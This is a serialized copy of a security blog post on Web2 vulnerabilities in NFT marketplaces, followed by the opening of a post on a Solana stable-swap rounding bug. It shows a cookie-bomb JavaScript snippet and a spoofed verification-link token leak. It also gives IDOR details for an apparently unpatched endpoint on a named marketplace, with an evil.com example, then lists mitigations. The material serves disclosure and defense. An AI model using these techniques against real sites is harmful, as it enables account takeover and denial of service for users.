,{"class":203,"line":437},[3574],{"type":25,"tag":201,"props":3575,"children":3576},{"style":220},[3577],{"type":31,"value":3578},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":25,"tag":201,"props":3580,"children":3581},{"class":203,"line":464},[3582],{"type":25,"tag":201,"props":3583,"children":3584},{"style":220},[3585],{"type":31,"value":3586},"   var Set_Cookie = Array(10000).join('a');\n",{"type":25,"tag":201,"props":3588,"children":3589},{"class":203,"line":490},[3590],{"type":25,"tag":201,"props":3591,"children":3592},{"emptyLinePlaceholder":17},[3593],{"type":31,"value":496},{"type":25,"tag":201,"props":3595,"children":3596},{"class":203,"line":499},[3597,3602],{"type":25,"tag":201,"props":3598,"children":3599},{"style":220},[3600],{"type":31,"value":3601},"   for (var i = 1; i \u003C 99; i++) ",{"type":25,"tag":201,"props":3603,"children":3604},{"style":208},[3605],{"type":31,"value":1822},{"type":25,"tag":201,"props":3607,"children":3608},{"class":203,"line":522},[3609,3614,3618,3623,3627,3632,3637,3642,3646,3651,3655,3660,3664,3669,3673,3678],{"type":25,"tag":201,"props":3610,"children":3611},{"style":246},[3612],{"type":31,"value":3613},"    document",{"type":25,"tag":201,"props":3615,"children":3616},{"style":261},[3617],{"type":31,"value":80},{"type":25,"tag":201,"props":3619,"children":3620},{"style":246},[3621],{"type":31,"value":3622},"cookie",{"type":25,"tag":201,"props":3624,"children":3625},{"style":261},[3626],{"type":31,"value":1840},{"type":25,"tag":201,"props":3628,"children":3629},{"style":267},[3630],{"type":31,"value":3631},"'Cookie'",{"type":25,"tag":201,"props":3633,"children":3634},{"style":261},[3635],{"type":31,"value":3636}," + ",{"type":25,"tag":201,"props":3638,"children":3639},{"style":246},[3640],{"type":31,"value":3641},"i",{"type":25,"tag":201,"props":3643,"children":3644},{"style":261},[3645],{"type":31,"value":3636},{"type":25,"tag":201,"props":3647,"children":3648},{"style":267},[3649],{"type":31,"value":3650},"'='",{"type":25,"tag":201,"props":3652,"children":3653},{"style":261},[3654],{"type":31,"value":3636},{"type":25,"tag":201,"props":3656,"children":3657},{"style":246},[3658],{"type":31,"value":3659},"Set_Cookie",{"type":25,"tag":201,"props":3661,"children":3662},{"style":261},[3663],{"type":31,"value":3636},{"type":25,"tag":201,"props":3665,"children":3666},{"style":267},[3667],{"type":31,"value":3668},"';Domain='",{"type":25,"tag":201,"props":3670,"children":3671},{"style":261},[3672],{"type":31,"value":3636},{"type":25,"tag":201,"props":3674,"children":3675},{"style":246},[3676],{"type":31,"value":3677},"Take_Domain",{"type":25,"tag":201,"props":3679,"children":3680},{"style":261},[3681],{"type":31,"value":461},{"type":25,"tag":201,"props":3683,"children":3684},{"class":203,"line":531},[3685],{"type":25,"tag":201,"props":3686,"children":3687},{"style":208},[3688],{"type":31,"value":3689},"   }\n",{"type":25,"tag":201,"props":3691,"children":3692},{"class":203,"line":550},[3693,3697,3701],{"type":25,"tag":201,"props":3694,"children":3695},{"style":1295},[3696],{"type":31,"value":3307},{"type":25,"tag":201,"props":3698,"children":3699},{"style":208},[3700],{"type":31,"value":1337},{"type":25,"tag":201,"props":3702,"children":3703},{"style":1295},[3704],{"type":31,"value":1308},{"type":25,"tag":201,"props":3706,"children":3707},{"class":203,"line":563},[3708,3712,3716],{"type":25,"tag":201,"props":3709,"children":3710},{"style":1295},[3711],{"type":31,"value":3323},{"type":25,"tag":201,"props":3713,"children":3714},{"style":208},[3715],{"type":31,"value":3213},{"type":25,"tag":201,"props":3717,"children":3718},{"style":1295},[3719],{"type":31,"value":1308},{"type":25,"tag":34,"props":3721,"children":3722},{},[3723],{"type":31,"value":3724},"As a result, we're able to prevent the user from loading images.",{"type":25,"tag":26,"props":3726,"children":3728},{"id":3727},"authentication",[3729],{"type":31,"value":3730},"Authentication",{"type":25,"tag":34,"props":3732,"children":3733},{},[3734],{"type":25,"tag":65,"props":3735,"children":3736},{},[3737,3739,3746],{"type":31,"value":3738},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":25,"tag":71,"props":3740,"children":3743},{"href":3741,"rel":3742},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[75],[3744],{"type":31,"value":3745},"great misfortune has occured",{"type":31,"value":80},{"type":25,"tag":40,"props":3748,"children":3750},{"id":3749},"verification-token-leakage",[3751],{"type":31,"value":3752},"Verification Token Leakage",{"type":25,"tag":34,"props":3754,"children":3755},{},[3756],{"type":31,"value":3757},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":25,"tag":34,"props":3759,"children":3760},{},[3761],{"type":31,"value":3762},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":25,"tag":34,"props":3764,"children":3765},{},[3766,3771],{"type":25,"tag":65,"props":3767,"children":3768},{},[3769],{"type":31,"value":3770},"Proof of Concept",{"type":31,"value":3772},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":25,"tag":34,"props":3774,"children":3775},{},[3776],{"type":31,"value":3777},"Here's the breakdown.",{"type":25,"tag":34,"props":3779,"children":3780},{},[3781],{"type":31,"value":3782},"First, we send the verification link to a user's email:",{"type":25,"tag":175,"props":3784,"children":3785},{"style":177},[3786],{"type":25,"tag":127,"props":3787,"children":3791},{"src":3788,"alt":3789,"style":3790},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":25,"tag":34,"props":3793,"children":3794},{},[3795],{"type":31,"value":3796},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":25,"tag":40,"props":3798,"children":3800},{"id":3799},"idor",[3801],{"type":31,"value":3802},"IDOR",{"type":25,"tag":34,"props":3804,"children":3805},{},[3806],{"type":25,"tag":65,"props":3807,"children":3808},{},[3809,3811,3818],{"type":31,"value":3810},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":25,"tag":71,"props":3812,"children":3815},{"href":3813,"rel":3814},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[75],[3816],{"type":31,"value":3817},"insect",{"type":31,"value":80},{"type":25,"tag":34,"props":3820,"children":3821},{},[3822,3824,3830],{"type":31,"value":3823},"During a security assessment of the ",{"type":25,"tag":71,"props":3825,"children":3828},{"href":3826,"rel":3827},"https://rocki.com",[75],[3829],{"type":31,"value":111},{"type":31,"value":3831},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":25,"tag":34,"props":3833,"children":3834},{},[3835],{"type":31,"value":3836},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":25,"tag":34,"props":3838,"children":3839},{},[3840],{"type":31,"value":3841},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":25,"tag":34,"props":3843,"children":3844},{},[3845,3847,3853,3855,3861],{"type":31,"value":3846},"Here is an example of a request that modifies another user's social media link to ",{"type":25,"tag":115,"props":3848,"children":3850},{"className":3849},[],[3851],{"type":31,"value":3852},"https://evil.com/",{"type":31,"value":3854},". To achieve this, we simply changed the ",{"type":25,"tag":115,"props":3856,"children":3858},{"className":3857},[],[3859],{"type":31,"value":3860},"id",{"type":31,"value":3862}," field value to one that belongs to another user:",{"type":25,"tag":34,"props":3864,"children":3865},{},[3866],{"type":25,"tag":127,"props":3867,"children":3869},{"alt":7,"src":3868},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":25,"tag":34,"props":3871,"children":3872},{},[3873],{"type":31,"value":3874},"The following screenshot is the response to our request:",{"type":25,"tag":34,"props":3876,"children":3877},{},[3878],{"type":25,"tag":127,"props":3879,"children":3881},{"alt":7,"src":3880},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":25,"tag":26,"props":3883,"children":3885},{"id":3884},"preventative-action-steps-for-marketplaces",[3886],{"type":25,"tag":1252,"props":3887,"children":3888},{},[3889],{"type":31,"value":3890},"Preventative Action Steps for Marketplaces",{"type":25,"tag":34,"props":3892,"children":3893},{},[3894],{"type":31,"value":3895},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":25,"tag":34,"props":3897,"children":3898},{},[3899,3901,3907,3909,3915],{"type":31,"value":3900},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":25,"tag":115,"props":3902,"children":3904},{"className":3903},[],[3905],{"type":31,"value":3906},"innerText",{"type":31,"value":3908}," instead of ",{"type":25,"tag":115,"props":3910,"children":3912},{"className":3911},[],[3913],{"type":31,"value":3914},"innerHTML",{"type":31,"value":3916}," in client-side:",{"type":25,"tag":191,"props":3918,"children":3920},{"className":193,"code":3919,"language":195,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[3921],{"type":25,"tag":115,"props":3922,"children":3923},{"__ignoreMap":7},[3924],{"type":25,"tag":201,"props":3925,"children":3926},{"class":203,"line":204},[3927,3931,3935,3940,3944,3949,3954,3958,3962,3967],{"type":25,"tag":201,"props":3928,"children":3929},{"style":246},[3930],{"type":31,"value":1635},{"type":25,"tag":201,"props":3932,"children":3933},{"style":220},[3934],{"type":31,"value":80},{"type":25,"tag":201,"props":3936,"children":3937},{"style":214},[3938],{"type":31,"value":3939},"getElementById",{"type":25,"tag":201,"props":3941,"children":3942},{"style":220},[3943],{"type":31,"value":298},{"type":25,"tag":201,"props":3945,"children":3946},{"style":267},[3947],{"type":31,"value":3948},"'nftCollectionName'",{"type":25,"tag":201,"props":3950,"children":3951},{"style":220},[3952],{"type":31,"value":3953},").",{"type":25,"tag":201,"props":3955,"children":3956},{"style":246},[3957],{"type":31,"value":3906},{"type":25,"tag":201,"props":3959,"children":3960},{"style":261},[3961],{"type":31,"value":413},{"type":25,"tag":201,"props":3963,"children":3964},{"style":246},[3965],{"type":31,"value":3966}," nftCollectionName",{"type":25,"tag":201,"props":3968,"children":3969},{"style":220},[3970],{"type":31,"value":461},{"type":25,"tag":34,"props":3972,"children":3973},{},[3974],{"type":31,"value":3975},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":25,"tag":191,"props":3977,"children":3979},{"className":193,"code":3978,"language":195,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[3980],{"type":25,"tag":115,"props":3981,"children":3982},{"__ignoreMap":7},[3983],{"type":25,"tag":201,"props":3984,"children":3985},{"class":203,"line":204},[3986,3991,3996,4000,4005,4009,4014,4018,4023],{"type":25,"tag":201,"props":3987,"children":3988},{"style":208},[3989],{"type":31,"value":3990},"var",{"type":25,"tag":201,"props":3992,"children":3993},{"style":246},[3994],{"type":31,"value":3995}," sanitizedInput",{"type":25,"tag":201,"props":3997,"children":3998},{"style":261},[3999],{"type":31,"value":413},{"type":25,"tag":201,"props":4001,"children":4002},{"style":246},[4003],{"type":31,"value":4004}," DOMPurify",{"type":25,"tag":201,"props":4006,"children":4007},{"style":220},[4008],{"type":31,"value":80},{"type":25,"tag":201,"props":4010,"children":4011},{"style":214},[4012],{"type":31,"value":4013},"sanitize",{"type":25,"tag":201,"props":4015,"children":4016},{"style":220},[4017],{"type":31,"value":298},{"type":25,"tag":201,"props":4019,"children":4020},{"style":246},[4021],{"type":31,"value":4022},"userInput",{"type":25,"tag":201,"props":4024,"children":4025},{"style":220},[4026],{"type":31,"value":308},{"type":25,"tag":34,"props":4028,"children":4029},{},[4030,4032,4039],{"type":31,"value":4031},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":25,"tag":71,"props":4033,"children":4036},{"href":4034,"rel":4035},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[75],[4037],{"type":31,"value":4038},"Content-Security-Policy",{"type":31,"value":4040}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":25,"tag":34,"props":4042,"children":4043},{},[4044],{"type":31,"value":4045},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":25,"tag":34,"props":4047,"children":4048},{},[4049,4051,4058],{"type":31,"value":4050},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":25,"tag":71,"props":4052,"children":4055},{"href":4053,"rel":4054},"https://www.techtarget.com/whatis/definition/whitelist",[75],[4056],{"type":31,"value":4057},"allow-list",{"type":31,"value":4059}," :",{"type":25,"tag":191,"props":4061,"children":4063},{"className":193,"code":4062,"language":195,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[4064],{"type":25,"tag":115,"props":4065,"children":4066},{"__ignoreMap":7},[4067,4098,4142,4172],{"type":25,"tag":201,"props":4068,"children":4069},{"class":203,"line":204},[4070,4075,4080,4084,4089,4094],{"type":25,"tag":201,"props":4071,"children":4072},{"style":208},[4073],{"type":31,"value":4074},"const",{"type":25,"tag":201,"props":4076,"children":4077},{"style":246},[4078],{"type":31,"value":4079}," allowDomains",{"type":25,"tag":201,"props":4081,"children":4082},{"style":261},[4083],{"type":31,"value":413},{"type":25,"tag":201,"props":4085,"children":4086},{"style":220},[4087],{"type":31,"value":4088}," [",{"type":25,"tag":201,"props":4090,"children":4091},{"style":267},[4092],{"type":31,"value":4093},"'https://allowed-domain'",{"type":25,"tag":201,"props":4095,"children":4096},{"style":220},[4097],{"type":31,"value":434},{"type":25,"tag":201,"props":4099,"children":4100},{"class":203,"line":226},[4101,4106,4110,4115,4120,4124,4129,4133,4137],{"type":25,"tag":201,"props":4102,"children":4103},{"style":230},[4104],{"type":31,"value":4105},"if",{"type":25,"tag":201,"props":4107,"children":4108},{"style":220},[4109],{"type":31,"value":238},{"type":25,"tag":201,"props":4111,"children":4112},{"style":261},[4113],{"type":31,"value":4114},"!",{"type":25,"tag":201,"props":4116,"children":4117},{"style":246},[4118],{"type":31,"value":4119},"allowDomains",{"type":25,"tag":201,"props":4121,"children":4122},{"style":220},[4123],{"type":31,"value":80},{"type":25,"tag":201,"props":4125,"children":4126},{"style":214},[4127],{"type":31,"value":4128},"includes",{"type":25,"tag":201,"props":4130,"children":4131},{"style":220},[4132],{"type":31,"value":298},{"type":25,"tag":201,"props":4134,"children":4135},{"style":246},[4136],{"type":31,"value":1645},{"type":25,"tag":201,"props":4138,"children":4139},{"style":220},[4140],{"type":31,"value":4141},")) {\n",{"type":25,"tag":201,"props":4143,"children":4144},{"class":203,"line":278},[4145,4150,4154,4159,4163,4168],{"type":25,"tag":201,"props":4146,"children":4147},{"style":230},[4148],{"type":31,"value":4149},"  throw",{"type":25,"tag":201,"props":4151,"children":4152},{"style":208},[4153],{"type":31,"value":828},{"type":25,"tag":201,"props":4155,"children":4156},{"style":214},[4157],{"type":31,"value":4158}," ApolloError",{"type":25,"tag":201,"props":4160,"children":4161},{"style":220},[4162],{"type":31,"value":298},{"type":25,"tag":201,"props":4164,"children":4165},{"style":267},[4166],{"type":31,"value":4167},"'invalid domain'",{"type":25,"tag":201,"props":4169,"children":4170},{"style":220},[4171],{"type":31,"value":308},{"type":25,"tag":201,"props":4173,"children":4174},{"class":203,"line":311},[4175],{"type":25,"tag":201,"props":4176,"children":4177},{"style":220},[4178],{"type":31,"value":1187},{"type":25,"tag":34,"props":4180,"children":4181},{},[4182,4184,4191,4193,4200],{"type":31,"value":4183},"As ",{"type":25,"tag":71,"props":4185,"children":4188},{"href":4186,"rel":4187},"https://graphql.org/",[75],[4189],{"type":31,"value":4190},"GraphQl",{"type":31,"value":4192}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":25,"tag":71,"props":4194,"children":4197},{"href":4195,"rel":4196},"https://graphql.org/learn/introspection/",[75],[4198],{"type":31,"value":4199},"introspection",{"type":31,"value":4201}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":25,"tag":191,"props":4203,"children":4205},{"className":193,"code":4204,"language":195,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[4206],{"type":25,"tag":115,"props":4207,"children":4208},{"__ignoreMap":7},[4209,4239,4251,4263,4279],{"type":25,"tag":201,"props":4210,"children":4211},{"class":203,"line":204},[4212,4216,4221,4225,4229,4234],{"type":25,"tag":201,"props":4213,"children":4214},{"style":208},[4215],{"type":31,"value":4074},{"type":25,"tag":201,"props":4217,"children":4218},{"style":246},[4219],{"type":31,"value":4220}," server",{"type":25,"tag":201,"props":4222,"children":4223},{"style":261},[4224],{"type":31,"value":413},{"type":25,"tag":201,"props":4226,"children":4227},{"style":208},[4228],{"type":31,"value":828},{"type":25,"tag":201,"props":4230,"children":4231},{"style":214},[4232],{"type":31,"value":4233}," ApolloServer",{"type":25,"tag":201,"props":4235,"children":4236},{"style":220},[4237],{"type":31,"value":4238},"({\n",{"type":25,"tag":201,"props":4240,"children":4241},{"class":203,"line":226},[4242,4247],{"type":25,"tag":201,"props":4243,"children":4244},{"style":246},[4245],{"type":31,"value":4246},"  typeDefs",{"type":25,"tag":201,"props":4248,"children":4249},{"style":220},[4250],{"type":31,"value":547},{"type":25,"tag":201,"props":4252,"children":4253},{"class":203,"line":278},[4254,4259],{"type":25,"tag":201,"props":4255,"children":4256},{"style":246},[4257],{"type":31,"value":4258},"  resolvers",{"type":25,"tag":201,"props":4260,"children":4261},{"style":220},[4262],{"type":31,"value":547},{"type":25,"tag":201,"props":4264,"children":4265},{"class":203,"line":311},[4266,4271,4275],{"type":25,"tag":201,"props":4267,"children":4268},{"style":246},[4269],{"type":31,"value":4270},"  introspection:",{"type":25,"tag":201,"props":4272,"children":4273},{"style":208},[4274],{"type":31,"value":542},{"type":25,"tag":201,"props":4276,"children":4277},{"style":220},[4278],{"type":31,"value":547},{"type":25,"tag":201,"props":4280,"children":4281},{"class":203,"line":330},[4282],{"type":25,"tag":201,"props":4283,"children":4284},{"style":220},[4285],{"type":31,"value":4286},"});\n",{"type":25,"tag":34,"props":4288,"children":4289},{},[4290,4292,4299,4301,4308],{"type":31,"value":4291},"Similarly, when ",{"type":25,"tag":71,"props":4293,"children":4296},{"href":4294,"rel":4295},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[75],[4297],{"type":31,"value":4298},"batching",{"type":31,"value":4300}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":25,"tag":71,"props":4302,"children":4305},{"href":4303,"rel":4304},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[75],[4306],{"type":31,"value":4307},"denial-of-service",{"type":31,"value":4309}," (DoS) attacks.",{"type":25,"tag":34,"props":4311,"children":4312},{},[4313],{"type":31,"value":4314},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":25,"tag":34,"props":4316,"children":4317},{},[4318],{"type":31,"value":4319},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":25,"tag":4321,"props":4322,"children":4324},"h1",{"id":4323},"conclusion",[4325],{"type":31,"value":4326},"Conclusion",{"type":25,"tag":34,"props":4328,"children":4329},{},[4330],{"type":31,"value":4331},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":25,"tag":34,"props":4333,"children":4334},{},[4335],{"type":31,"value":4336},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":25,"tag":26,"props":4338,"children":4340},{"id":4339},"disclaimer",[4341],{"type":31,"value":4342},"Disclaimer",{"type":25,"tag":34,"props":4344,"children":4345},{},[4346],{"type":31,"value":4347},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":25,"tag":4349,"props":4350,"children":4351},"style",{},[4352],{"type":31,"value":4353},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":226,"depth":226,"links":4355},[4356,4359,4365,4369,4370],{"id":28,"depth":226,"text":32,"children":4357},[4358],{"id":42,"depth":278,"text":45},{"id":20,"depth":226,"text":60,"children":4360},[4361,4362,4363,4364],{"id":83,"depth":278,"text":86},{"id":150,"depth":278,"text":153},{"id":3090,"depth":278,"text":3093},{"id":3381,"depth":278,"text":3384},{"id":3727,"depth":226,"text":3730,"children":4366},[4367,4368],{"id":3749,"depth":278,"text":3752},{"id":3799,"depth":278,"text":3802},{"id":3884,"depth":226,"text":3890},{"id":4339,"depth":226,"text":4342},"markdown","content:blog:2023-08-11-web2-bug-repellant-instructions.md","content","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions","md",[4378,6886,7225,10763,15118,20244,30487,31917,32680,36491,41518,46950,48107,51598,61993,68722,70561,72271,76936,90835,93556,98345,100785,103130,108916,124736,133036,142960,148238,157631,159968],{"_path":4379,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":4380,"description":4381,"image":4382,"date":4386,"isFeatured":17,"tags":4387,"onBlogPage":17,"body":4390,"_type":4371,"_id":6883,"_source":4373,"_file":6884,"_stem":6885,"_extension":4376},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":4383,"width":4384,"height":4385},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[4388,4389],"solana","report",{"type":22,"children":4391,"toc":6877},[4392,4406,4411,4416,4424,4428,4433,4438,4447,4455,4460,4465,4473,4478,4483,4862,4872,4877,5402,5407,5415,5422,5428,5433,5438,5443,5450,5462,5467,5479,5718,5723,5728,5734,5739,5744,5790,5795,5803,5808,5813,5818,5963,5976,6093,6107,6115,6129,6137,6150,6155,6167,6175,6197,6815,6821,6826,6838,6851,6858,6863,6868,6873],{"type":25,"tag":34,"props":4393,"children":4394},{},[4395,4397,4404],{"type":31,"value":4396},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":25,"tag":71,"props":4398,"children":4401},{"href":4399,"rel":4400},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[75],[4402],{"type":31,"value":4403},"spl-token-swap",{"type":31,"value":4405},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":25,"tag":34,"props":4407,"children":4408},{},[4409],{"type":31,"value":4410},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":25,"tag":34,"props":4412,"children":4413},{},[4414],{"type":31,"value":4415},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":25,"tag":34,"props":4417,"children":4418},{},[4419],{"type":25,"tag":65,"props":4420,"children":4421},{},[4422],{"type":31,"value":4423},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":25,"tag":26,"props":4425,"children":4426},{"id":42},[4427],{"type":31,"value":45},{"type":25,"tag":34,"props":4429,"children":4430},{},[4431],{"type":31,"value":4432},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":25,"tag":34,"props":4434,"children":4435},{},[4436],{"type":31,"value":4437},"After a while, he noticed something weird..",{"type":25,"tag":4439,"props":4440,"children":4441},"blockquote",{},[4442],{"type":25,"tag":34,"props":4443,"children":4444},{},[4445],{"type":31,"value":4446},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":25,"tag":191,"props":4448,"children":4450},{"code":4449},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[4451],{"type":25,"tag":115,"props":4452,"children":4453},{"__ignoreMap":7},[4454],{"type":31,"value":4449},{"type":25,"tag":34,"props":4456,"children":4457},{},[4458],{"type":31,"value":4459},"Somehow, we were getting tokens from nothing?",{"type":25,"tag":34,"props":4461,"children":4462},{},[4463],{"type":31,"value":4464},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":25,"tag":191,"props":4466,"children":4468},{"code":4467},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[4469],{"type":25,"tag":115,"props":4470,"children":4471},{"__ignoreMap":7},[4472],{"type":31,"value":4467},{"type":25,"tag":34,"props":4474,"children":4475},{},[4476],{"type":31,"value":4477},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":25,"tag":34,"props":4479,"children":4480},{},[4481],{"type":31,"value":4482},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":25,"tag":191,"props":4484,"children":4488},{"code":4485,"language":4486,"meta":7,"className":4487,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n","rust","language-rust shiki shiki-themes slack-dark",[4489],{"type":25,"tag":115,"props":4490,"children":4491},{"__ignoreMap":7},[4492,4501,4532,4565,4667,4772,4798,4810,4826,4846,4854],{"type":25,"tag":201,"props":4493,"children":4494},{"class":203,"line":204},[4495],{"type":25,"tag":201,"props":4496,"children":4498},{"style":4497},"--shiki-default:#6A9955",[4499],{"type":31,"value":4500},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":25,"tag":201,"props":4502,"children":4503},{"class":203,"line":226},[4504,4509,4514,4519,4523,4528],{"type":25,"tag":201,"props":4505,"children":4506},{"style":208},[4507],{"type":31,"value":4508},"    let",{"type":25,"tag":201,"props":4510,"children":4511},{"style":208},[4512],{"type":31,"value":4513}," mut",{"type":25,"tag":201,"props":4515,"children":4516},{"style":246},[4517],{"type":31,"value":4518}," y",{"type":25,"tag":201,"props":4520,"children":4521},{"style":261},[4522],{"type":31,"value":413},{"type":25,"tag":201,"props":4524,"children":4525},{"style":246},[4526],{"type":31,"value":4527}," d_val",{"type":25,"tag":201,"props":4529,"children":4530},{"style":220},[4531],{"type":31,"value":461},{"type":25,"tag":201,"props":4533,"children":4534},{"class":203,"line":278},[4535,4540,4545,4550,4555,4560],{"type":25,"tag":201,"props":4536,"children":4537},{"style":230},[4538],{"type":31,"value":4539},"    for",{"type":25,"tag":201,"props":4541,"children":4542},{"style":246},[4543],{"type":31,"value":4544}," _",{"type":25,"tag":201,"props":4546,"children":4547},{"style":208},[4548],{"type":31,"value":4549}," in",{"type":25,"tag":201,"props":4551,"children":4552},{"style":426},[4553],{"type":31,"value":4554}," 0",{"type":25,"tag":201,"props":4556,"children":4557},{"style":261},[4558],{"type":31,"value":4559},"..",{"type":25,"tag":201,"props":4561,"children":4562},{"style":220},[4563],{"type":31,"value":4564},"ITERATIONS 